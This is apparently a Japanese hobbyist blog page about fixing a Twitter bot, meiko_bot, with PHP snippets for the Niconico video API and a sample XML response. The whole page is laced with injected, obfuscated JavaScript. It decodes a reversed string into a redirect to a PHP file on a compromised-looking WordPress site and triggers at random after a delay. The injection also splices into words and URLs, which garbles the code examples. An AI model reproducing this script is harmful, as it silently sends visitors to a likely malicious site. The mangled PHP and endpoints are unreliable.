カレンダー

2018年11月
« 2月  
 123
45678910
11121314151617
18192021222324
252627282930 

【meiko_bot】古い仕様だったためツイートできなくなっていたので修正

10/10頃からmeiko_botが正しく動いていないのに本日気づきました。

以下のように暫定でURLを置換すればよいみたいですが、どうもツイッターの仕様的に

今後は、これもだめになるみたいです。ただ、すぐにはどうすれば良いのかわからなかったので

一旦、これでお茶を濁して、対応方法がわかるまでこのままとしたいと思います。

xmlを参照している部分のURLを下記のように置換しています。

「twitter.com」を「api.twitter.com」に置換

例えば、以下のような感じです(赤字部分を置換)

置換前dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

https://twitter.com/statuses/update.xml

置換後dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

http://api.twitter.com/1/statuses/update.xml

というわけで、2週間程度meiko_botが再び活動を開始しました。

【meiko_bot】ニコニコ動画の動画紹介時の紹介済判断方法の変更

たまに、昔に紹介済みの動画を紹介することがあってなんでだろうと思っていました。

どうも、何かの拍子に昔に投稿された動画が新着のRSSに載るみたいです。

動画情報を修正したときかとかなのかな?

RSSに入っている情報のうち、まだ紹介していない動画を紹介するようにしていましたが

古い動画だとRSSからすでに消えているものがあり、そのため、紹介済みとならなくて

そのまま投稿になってしまうみたい。

(紹介済みとして保持している情報数が少ないのが問題)

投稿日時と現在日時でチェックする方法もあるんだけど、今の仕様のままだと漏れとか

色々あるかもしれないのでシンプルかつ、漏れないように大幅に変更しました。

RSSに乗っている動画(だいた30件程度)のなかで、紹介済みかを判断するのではなく

紹介した動画の動画IDをファイル名として作成しておき、そのファイルがあるかチェックするというシンプルなチェック。

今まではテキストファイルで書き込み&読み込みしながらチェックしていたので、いろいろ面倒な処理をいれていましたが

これでとてもシンプルになりました。

これで、古い動画がでなくなるといいな。

先程、修正したファイルをリリースしたら、5/5投稿の2件がツイートされちゃった。

どうも、紹介済みとしてファイルを作っておかないといけないものから漏れていたみたい。

今からは正しく動くかな?

大幅に変更したのでしばらく様子見。

GW頃に親密度の高い人が、24時間以内に話しかけた時のリプライパターンを増やしたんだけど、親密度高い人が少ないことが判明。

意味がほとんどなかったです。

リプライパターンがあいかわらず少ないので、こつこつ増やしておきます。

meiko_bot 投稿時間の取得を失敗していたため修正

twitterで稼働させているmeiko_botの修正しました。

meiko_botはこちらです。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}https://twitter.com/#!/meiko_bot

ニコニコ動画で投稿された作品をRSSによるタグ検索で取得していました。

その中に投稿日時が入っていたのですが、出力される形式が変わっていて取得できなくなっていました。

XML形式で出力されていますが、タグの構造が変わっていたために取得元データなしの状態になっていたということです。

今回はRSSで出力される情報ではなく、ニコニコ動画が提供しているAPIから投稿日時を取得するように変更しました。

もともと動画のタグ情報をニコニコ動画のAPIから取得していたので対応は簡単。

APIでは、以下のようなURLによって、結果がXML形式で帰ってきます。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/sm17281404″ target=”_blank”> http://ext.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/sm17281404

こんなソースになります。

$nicoadは動画のIDになります。

$nicoapi_url = “http://ext.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/”;

$nikoapi_dougaid = str_replace(“http://www.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/watch/”,””,$nicoad);

$nicoapi_xml = simplexml_load_file($nicoapi_url.$nikoapi_dougaid);

結果は以下のような感じで戻ってきます。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

上記の結果をもとに、投稿日時としてfirst_retrieveの部分を取得します。

ただし、「2012-04-21T18:22:50+09:00」のような形式にになっているのでmm月dd日 HH時mm分の形式となるように整形しています。

(固定長っぽいので、原始的に桁区切りで整形しています)

$douga_date = $nicoapi_xml->thumb->first_retrieve[0]; //投稿日時

$nico_regdate = intval(mb_substr($douga_date,5,2)).”月”.intval(mb_substr($douga_date,8,2)).”日”.intval(mb_substr($douga_date,11,2)).”時”.intval(mb_substr($douga_date,14,2)).”分”; //整形

テスト用のアカウントで動作確認。

0月0日0時0分になっていたのが、正しく表示されるようになりました。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

謝辞dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

正しく処理されていない状態になっていることを教えてくれた、かきにゃん@柿太郎さん、ありがとうございました。

追記dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

2012/4/22 10:14

meiko_botが投稿日時なしでつぶやいていたので、なんでかと思ったら、修正版をアップしてなかった。だめすぎるorz

今度こそ、アップロードしました。

両公式巡回済みなのか「あかりと京子でキルミーダンス 【キルミーベイベー】 」

[nicolink vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deoid=”sm17110125″]

両公式巡回済みになっていて、公式アカウントをみてみたら、本当にツイートされていた。

うーん、前にみたときは、片方だけだったのに。

しかし、愛されてるなー

短いのでもっと長いのが見たくなります。

それにしても、何回もループで思わず聞いてしまうというか見てしまうEDですね。


kmb!ハラショー! RT @: ほんとうのきもちはひみつだよ!これはすごいとキルコフさんと話してました。【ゆるゆり】 あかりと京子でキルミーダンス 【キルミーベイベー】 http://t.co/HPRAdL4W #k_m_baby

@k_m_baby

アニメ「キルミーベイベー」公式アカウント




ほんとうのきもちはひみつだよ!これはすごいとキルコフさんと話してました。【ゆるゆり】 あかりと京子でキルミーダンス 【キルミーベイベー】 #nicovideo #sm17110125 http://t.co/ZiG0NBtE #yuruyuri

@anime_yuruyuri

アニメ「ゆるゆり」公式アカウント

meiko_botでニコニコ動画の動画紹介時にタグを記載するように変更

meiko_botが動画を紹介していますがタグを記載するように仕様を変更しました。

ニコニコ動画APIを使用すると動画情報が取得できると知り、試してみたところタグも取得できることが判明。

せっかくなので、タグもツイートしてあげたほうが親切だと思うので取得してツイートするようにしてみました。

実装は割りと簡単で

用意されているURLに動画IDを投げるとXMLが帰ってくるので、そこからタグを取得するだけです。

以下のURLに投げるとXML形式で帰ってきます。(sm*の部分を動画IDにしてください)

http://flapi.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getflv/sm*

一例ですが、以下のような感じで取得されます。



/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de><?xml version=”1.0″ encoding=”UTF-8″?>

<nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_thumb_response status=”ok”>

<thumb>

<vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_id>sm5138963</vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_id>

<title>【MEIKO生誕祭】 紅い悪魔 【記念リメイク】</title>

<dom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}description>あるとき”紅い悪魔”といわれた少女がいました。その少女は彼のためだけに、ただそれだけのために生きました。少女バージョンで大人バージョンを聴きたいとコメントがありましたので作成してみました!この作品用にgemu555さんが作成してくださったイラストを使用させて頂きました。その他作品→mylist/50350572010/3/1訂正桐生琢海【異界堂Works】さんが全体的なミキシングの見直しなどをしてくださいました。MP3はこちら、http://db7.voiceblog.jp/data/ikdworks/1258470955.mp32010/5/13 JOYSOUNDにてカラオケ配信済。</dom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}description>

<thumbnail_url>http://tn-skr4.smilevidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/smile?i=5138963</thumbnail_url>

<first_retrieve>2008-11-03T21:06:14+09:00</first_retrieve>

<length>6:02</length>

<movie_type>flv</movie_type>

<size_high>36693137</size_high>

<size_low>9637930</size_low>

<view_counter>19966</view_counter>

<comment_num>588</comment_num>

<mylist_counter>921</mylist_counter>

<last_res_body>切ないなー… GJ! 解釈は人それぞれで良 切ないなあ… こらwww ↑愛する人… </last_res_body>

<watch_url>http://www.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/watch/sm5138963</watch_url>

<thumb_type>vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo</thumb_type>

<embeddable>1</embeddable>

<no_live_play>0</no_live_play>

<tags domain=”jp”>

<tag category=”1″ lock=”1″>VOCALOID</tag>

<tag lock=”1″>MEIKO</tag>

<tag lock=”1″>とほほP</tag>

<tag>MEIKOオリジナル曲</tag>

<tag>MEIKO生誕祭2008</tag>

<tag>MEIKO良曲リンク</tag>

<tag lock=”1″>異界堂Works</tag>

<tag>紅い悪魔</tag>

<tag>もっと評価されるべき</tag>

<tag>JOYSOUND配信中</tag>

</tags>

<tags domain=”tw”>

<tag>已翻譯歌曲</tag>

<tag>MEIKO良曲</tag>

</tags>

<user_id>59567</user_id>

</thumb>

</nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_thumb_response>/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de>



XML形式は用意されたsimplexml_load_fileを使用すれば簡単です。

以下のような感じでXMLを変数にセット。

/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de>$nicoapi_url = “http://ext.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/”;

$nikoapi_dougaid = str_replace(“http://www.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/watch/”,””,$nicoad);

$nicoapi_xml = simplexml_load_file($nicoapi_url.$nikoapi_dougaid);
/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de>

あとは、以下のような感じで、tagの部分を取得して文字列に連結させてます。

/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de>$tag_i=0;

$str_tags=””;

foreach($nicoapi_xml->thumb->tags->tag as $value){

    if($tag_i==0)

    {

        //$str_tags = “【タグ】”.$nicoapi_xml->entry[0]->thumb->vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_id[$tag_i];

        $str_tags = “【タグ】”.$value;

    }

    else

    {

        //$str_tags = $str_tags.”、”.$nicoapi_xml->entry[0]->thumb->vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_id[$tag_i];

        $str_tags = $str_tags.”、”.$value;

    }

    $tag_i++;

}
/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de>